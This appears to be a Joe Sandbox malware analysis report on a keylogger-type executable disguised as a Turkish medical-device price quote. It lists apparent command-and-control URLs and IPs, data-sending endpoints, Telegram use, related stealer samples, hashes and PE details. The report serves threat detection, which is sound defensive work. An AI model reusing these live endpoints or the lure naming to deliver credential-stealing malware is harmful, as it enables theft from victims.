http://anotherarmy.dns.army:8081	fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe, 00000000.00000002.1326634004.00000000040BA000.00000004.00000800.00020000.00000000.sdmp, fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe, 00000007.00000002.3759424707.0000000002AE1000.00000004.00000800.00020000.00000000.sdmp, fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe, 00000007.00000002.3757107438.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false		high
http://localhost/calculator_server/requests.php	fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe, 00000007.00000002.3763220342.0000000003B01000.00000004.00000800.00020000.00000000.sdmp	false		high
http://checkip.dyndns.org/q	fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe, 00000000.00000002.1326634004.00000000040BA000.00000004.00000800.00020000.00000000.sdmp, fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe, 00000007.00000002.3757107438.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe, 00000007.00000002.3763220342.0000000003B01000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe, 00000007.00000002.3763220342.0000000003B01000.00000004.00000800.00020000.00000000.sdmp	false		high
https://chrome.google.com/webstore?hl=en	fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe, 00000007.00000002.3759424707.0000000002B9B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe, 00000007.00000002.3763220342.0000000003B01000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe, 00000000.00000002.1325849803.0000000003087000.00000004.00000800.00020000.00000000.sdmp, fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe, 00000007.00000002.3759424707.0000000002AE1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe, 00000007.00000002.3763220342.0000000003B01000.00000004.00000800.00020000.00000000.sdmp	false		high
http://varders.kozow.com:8081	fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe, 00000000.00000002.1326634004.00000000040BA000.00000004.00000800.00020000.00000000.sdmp, fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe, 00000007.00000002.3759424707.0000000002AE1000.00000004.00000800.00020000.00000000.sdmp, fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe, 00000007.00000002.3757107438.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false		high
http://51.38.247.67:8081/_send_.php?LCapplication/x-www-form-urlencoded	fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe, 00000000.00000002.1326634004.00000000040BA000.00000004.00000800.00020000.00000000.sdmp, fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe, 00000007.00000002.3757107438.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false		high
https://reallyfreegeoip.org/xml/	fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe, 00000000.00000002.1326634004.00000000040BA000.00000004.00000800.00020000.00000000.sdmp, fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe, 00000007.00000002.3757107438.0000000000402000.00000040.00000400.00020000.00000000.sdmp, fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe, 00000007.00000002.3759424707.0000000002B30000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	false
77.245.159.14	adendanismanlik.com.tr	Turkey	42868	NIOBEBILISIMHIZMETLERITR	true
193.122.6.168	checkip.dyndns.com	United States	31898	ORACLE-BMC-31898US	false
172.67.177.134	reallyfreegeoip.org	United States	13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1569776
Start date and time:	2024-12-06 09:56:54 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 43s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	14
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe renamed because original name is a hash value
Original Sample Name:	fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Siparii jpeg docx _ .exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@10/6@4/4
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 99% Number of executed functions: 95 Number of non-executed functions: 11
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Behavior information exceeds normal sizes, reducing to normal. Report will have missing behavior information.
Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, backgroundTaskHost.exe, svchost.exe
Excluded domains from analysis (whitelisted): fs.microsoft.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, time.windows.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.

Simulations

Behavior and APIs

Time	Type	Description
03:57:52	API Interceptor	6968127x Sleep call for process: fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe modified
03:57:54	API Interceptor	9x Sleep call for process: powershell.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
149.154.167.220	Fiyat Teklifi_2038900001-MOKAPTO-06122024.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	PO54782322024.exe	Get hash	malicious	AgentTesla	Browse
	BQ_PO#385995.exe	Get hash	malicious	RedLine, Snake Keylogger, VIP Keylogger, XWorm	Browse
	file.exe	Get hash	malicious	PureLog Stealer, XWorm	Browse
	ozctQoBg1o.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	SPhzvjk8wx.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	Q0Sh31btX8.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	o7H9XLUD9z.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	764GVLyJne.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	lQyRqxe4dt.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
193.122.6.168	PO#2207008 .docm	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	NIsNyN2CTq.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	checkip.dyndns.org/
	rOJS25YL2e.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	Ziraat Bankasi Swift Mesaji.pdf.exe	Get hash	malicious	MassLogger RAT	Browse	checkip.dyndns.org/
	fiyati_teklif 65W20_ B#U00fcy#U00fck BID mokapto Sipari#U015fi jpeg docx _ .exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	3GloGaDtsG.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	RFQ-2309540_27112024.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	Fonts.exe	Get hash	malicious	MassLogger RAT	Browse	checkip.dyndns.org/
	INQUIRY_pdf.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	drawing 10023. spec T4 300W .... dimn 560horsepower po 1198624 _ %00% spec .exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
checkip.dyndns.com	hesaphareketi-01.exe	Get hash	malicious	Snake Keylogger	Browse	158.101.44.242
	Hesap hareketleriniz.exe	Get hash	malicious	Snake Keylogger	Browse	158.101.44.242
	Fiyat Teklifi_2038900001-MOKAPTO-06122024.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.130.0
	16547.js	Get hash	malicious	MassLogger RAT	Browse	132.226.8.169
	PO#2207008 .docm	Get hash	malicious	Snake Keylogger	Browse	193.122.6.168
	pe61BNJmLf.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.247.73
	BQ_PO#385995.exe	Get hash	malicious	RedLine, Snake Keylogger, VIP Keylogger, XWorm	Browse	158.101.44.242
	Halkbank_Ekstre_2024123_081142_787116.exe	Get hash	malicious	MassLogger RAT	Browse	132.226.247.73
	ozctQoBg1o.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.247.73
	SPhzvjk8wx.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.247.73
api.telegram.org	Fiyat Teklifi_2038900001-MOKAPTO-06122024.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	PO54782322024.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	BQ_PO#385995.exe	Get hash	malicious	RedLine, Snake Keylogger, VIP Keylogger, XWorm	Browse	149.154.167.220
	file.exe	Get hash	malicious	PureLog Stealer, XWorm	Browse	149.154.167.220
	ozctQoBg1o.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	SPhzvjk8wx.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Q0Sh31btX8.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	o7H9XLUD9z.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	764GVLyJne.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	lQyRqxe4dt.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
reallyfreegeoip.org	hesaphareketi-01.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.67.152
	Hesap hareketleriniz.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.67.152
	Fiyat Teklifi_2038900001-MOKAPTO-06122024.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.67.152
	16547.js	Get hash	malicious	MassLogger RAT	Browse	172.67.177.134
	PO#2207008 .docm	Get hash	malicious	Snake Keylogger	Browse	188.114.97.6
	pe61BNJmLf.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.67.152
	BQ_PO#385995.exe	Get hash	malicious	RedLine, Snake Keylogger, VIP Keylogger, XWorm	Browse	104.21.67.152
	Halkbank_Ekstre_2024123_081142_787116.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.67.152
	ozctQoBg1o.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	172.67.177.134
	SPhzvjk8wx.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.67.152

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ORACLE-BMC-31898US	hesaphareketi-01.exe	Get hash	malicious	Snake Keylogger	Browse	158.101.44.242
	Hesap hareketleriniz.exe	Get hash	malicious	Snake Keylogger	Browse	158.101.44.242
	Fiyat Teklifi_2038900001-MOKAPTO-06122024.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.130.0
	PO#2207008 .docm	Get hash	malicious	Snake Keylogger	Browse	193.122.6.168
	main_arm.elf	Get hash	malicious	Mirai	Browse	140.238.98.24
	BQ_PO#385995.exe	Get hash	malicious	RedLine, Snake Keylogger, VIP Keylogger, XWorm	Browse	158.101.44.242
	764GVLyJne.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	158.101.44.242
	lQyRqxe4dt.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.130.0
	G14yjXDQWf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.130.0
	zy1Hkc59UZ.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	193.122.130.0
TELEGRAMRU	Fiyat Teklifi_2038900001-MOKAPTO-06122024.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Yn13dTQdcW.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	PO54782322024.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	BQ_PO#385995.exe	Get hash	malicious	RedLine, Snake Keylogger, VIP Keylogger, XWorm	Browse	149.154.167.220
	Setup.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	Setup.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	file.exe	Get hash	malicious	PureLog Stealer, XWorm	Browse	149.154.167.220
	ozctQoBg1o.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	SPhzvjk8wx.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Q0Sh31btX8.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
NIOBEBILISIMHIZMETLERITR	hesaphareketi-01.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	77.245.159.27
	https://timetraveltv.com/actions/cart_update.php?currency=GBP&return_url=https://blog.acelyaokcu.com/m/?c3Y9bzM2NV8xX29uZSZyYW5kPVdrcFNRMHM9JnVpZD1VU0VSMDkwOTIwMjRVMTIwOTA5MDE=N0123N%5BEMAIL	Get hash	malicious	Unknown	Browse	77.245.159.9
	PR 2500006515 #U2116 972 #U043e#U0442 ETA 24 HIDMAKSAN VIETNAM IND CO.,LTD 2024.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	77.245.148.65
	Contract_Agreement_Wednesday September 2024.pdf	Get hash	malicious	Unknown	Browse	77.245.159.9
	Contract_Agreement_Tuesday September 2024.pdf	Get hash	malicious	Unknown	Browse	77.245.159.9
	https://bahrioglunakliyat.com.tr/wp-admin/admin-ajax.php	Get hash	malicious	Unknown	Browse	77.245.159.21
	SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Get hash	malicious	Snake Keylogger	Browse	77.245.159.7
	file.exe	Get hash	malicious	SystemBC	Browse	77.245.149.25
	#U0130#U015eLEM #U00d6ZET#U0130_G5024057699-1034 nolu TICARI.exe	Get hash	malicious	AgentTesla	Browse	77.245.148.100
	SKM_C3350i2402291223.bat.exe	Get hash	malicious	AgentTesla	Browse	77.245.148.65
CLOUDFLARENETUS	http://www.javatpoint.com.cach3.com/	Get hash	malicious	Unknown	Browse	104.21.43.239
	hesaphareketi-01.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.67.152
	Hesap hareketleriniz.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.67.152
	Fiyat Teklifi_2038900001-MOKAPTO-06122024.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.67.152
	NewOrder12052024.js	Get hash	malicious	Remcos	Browse	172.67.187.200
	16547.js	Get hash	malicious	MassLogger RAT	Browse	172.67.177.134
	https://skillbridge.ca/onlinePaymentverify.html	Get hash	malicious	Unknown	Browse	104.18.95.41
	4f9o4398o3ff34f.lNK.lnk	Get hash	malicious	Unknown	Browse	104.21.80.171
	DM6vAAgoCw.exe	Get hash	malicious	Orcus, Xmrig	Browse	172.67.74.152
	PO#2207008 .docm	Get hash	malicious	Snake Keylogger	Browse	188.114.97.6

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
54328bd36c14bd82ddaa0c04b25ed9ad	hesaphareketi-01.exe	Get hash	malicious	Snake Keylogger	Browse	172.67.177.134
	Hesap hareketleriniz.exe	Get hash	malicious	Snake Keylogger	Browse	172.67.177.134
	Fiyat Teklifi_2038900001-MOKAPTO-06122024.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	172.67.177.134
	16547.js	Get hash	malicious	MassLogger RAT	Browse	172.67.177.134
	pe61BNJmLf.exe	Get hash	malicious	Snake Keylogger	Browse	172.67.177.134
	BQ_PO#385995.exe	Get hash	malicious	RedLine, Snake Keylogger, VIP Keylogger, XWorm	Browse	172.67.177.134
	Halkbank_Ekstre_2024123_081142_787116.exe	Get hash	malicious	MassLogger RAT	Browse	172.67.177.134
	ozctQoBg1o.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	172.67.177.134
	SPhzvjk8wx.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	172.67.177.134
	Q0Sh31btX8.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	172.67.177.134
3b5074b1b5d032e5620f69f9f700ff0e	Fiyat Teklifi_2038900001-MOKAPTO-06122024.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	NewOrder12052024.js	Get hash	malicious	Remcos	Browse	149.154.167.220
	16547.js	Get hash	malicious	MassLogger RAT	Browse	149.154.167.220
	PO54782322024.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	965600.invoice.exe	Get hash	malicious	FormBook	Browse	149.154.167.220
	BQ_PO#385995.exe	Get hash	malicious	RedLine, Snake Keylogger, VIP Keylogger, XWorm	Browse	149.154.167.220
	somg.mp3.lnk	Get hash	malicious	Unknown	Browse	149.154.167.220
	file.exe	Get hash	malicious	PureLog Stealer, XWorm	Browse	149.154.167.220
	Cooperative Agreement0000800380.docx.exe	Get hash	malicious	Babadeda, Blank Grabber	Browse	149.154.167.220
	ozctQoBg1o.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220

Dropped Files

⊘No context

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.log

Download File

Process:	C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1216
Entropy (8bit):	5.34331486778365
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4x84j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0HJ
MD5:	1330C80CAAC9A0FB172F202485E9B1E8
SHA1:	86BAFDA4E4AE68C7C3012714A33D85D2B6E1A492
SHA-256:	B6C63ECE799A8F7E497C2A158B1FFC2F5CB4F745A2F8E585F794572B7CF03560
SHA-512:	75A17AB129FE97BBAB36AA2BD66D59F41DB5AFF44A705EF3E4D094EC5FCD056A3ED59992A0AC96C9D0D40E490F8596B07DCA9B60E606B67223867B061D9D0EB2
Malicious:	true
Reputation:	high, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	1172
Entropy (8bit):	5.355024937536926
Encrypted:	false
SSDEEP:	24:3OWSKco4KmBs4RPT6BmFoUebIKomjKcmZ9t7J0gt/NKIl9r6dj:eWSU4y4RQmFoUeWmfmZ9tK8NDE
MD5:	A2B58E2A44EE011B5A5204D75F038BDD
SHA1:	44E14B097A6F628F0B0663EAA3059B5F0E5D7D8E
SHA-256:	397D120EAAD7512D3923B9F86ADA33D54B60CC83655021C674258AA1F2AB68F0
SHA-512:	1B27BD34FF787264BAF374DD8F61CAB416FBEE5A8E3D32AC4CF1A8A690D186F22A865D86D55790CEA6D360F4FEF4A55E2742A9EB9CFD1F650BD6B0AC278D621F
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	@...e................................................@..........P................1]...E...........(.Microsoft.PowerShell.Commands.ManagementH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.AutomationL.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices4.................%...K... ...........System.Xml..8..................1...L..U;V.<}........System.Numerics.4.....................@.[8]'.\........System.Data.<...............i..VdqF...\|...........System.ConfigurationH................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<...............V.}...@...i...........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Com

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_11mhhhjp.0vd.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	high, very likely benign file
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2uokvwa4.ssz.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tu43w3z0.nrr.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xlm5rkxv.gth.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.777035580030298
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.80% Win32 Executable (generic) a (10002005/4) 49.75% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Windows Screen Saver (13104/52) 0.07% Generic Win/DOS Executable (2004/3) 0.01%
File name:	fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe
File size:	723'968 bytes
MD5:	bd1688f2a780e8ea5437f539f5ffc596
SHA1:	abf80f4d8ee0d4bc422b0b6d1f94b9ad72db1b7c
SHA256:	3acb8bf44a7ddcf515e9dc3dc823d9bef720e41a02c9adfd1879ce786bb8e049
SHA512:	8163d916d31b50b20941a0ff55ef454d0dde970bde170c513b2ed48157c9c9c6ce99f993d376f95701d76133f48ef6b81ef7ca3740acb19ffe4c59341ca29eb4
SSDEEP:	12288:fPGHrhJDqVaQlPhI7UR0G+Iy8f/tcu73zuoW2fL6j3jsN3wL/CRr:uhMVaQlpIA2Z8f/t9MIaL/cr
TLSH:	8AF401A86905D903C94593741AB1F1B91BBC4EDEA901E3038FED7DEFBC76D1A4C881A1
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....Rg..............0.............>.... ... ....@.. .......................`............@................................

File Icon


Icon Hash:	0f0d210d0e070301

Static PE Info

General

Entrypoint:	0x4b0e3e
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x6752A0AE [Fri Dec 6 06:58:54 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
push ebx
add byte ptr [ecx+00h], bh
jnc 00007F02A84F5112h
je 00007F02A84F5112h
add byte ptr [ebp+00h], ch
add byte ptr [ecx+00h], al
arpl word ptr [eax], ax
je 00007F02A84F5112h
imul eax, dword ptr [eax], 00610076h
je 00007F02A84F5112h
outsd
add byte ptr [edx+00h], dh
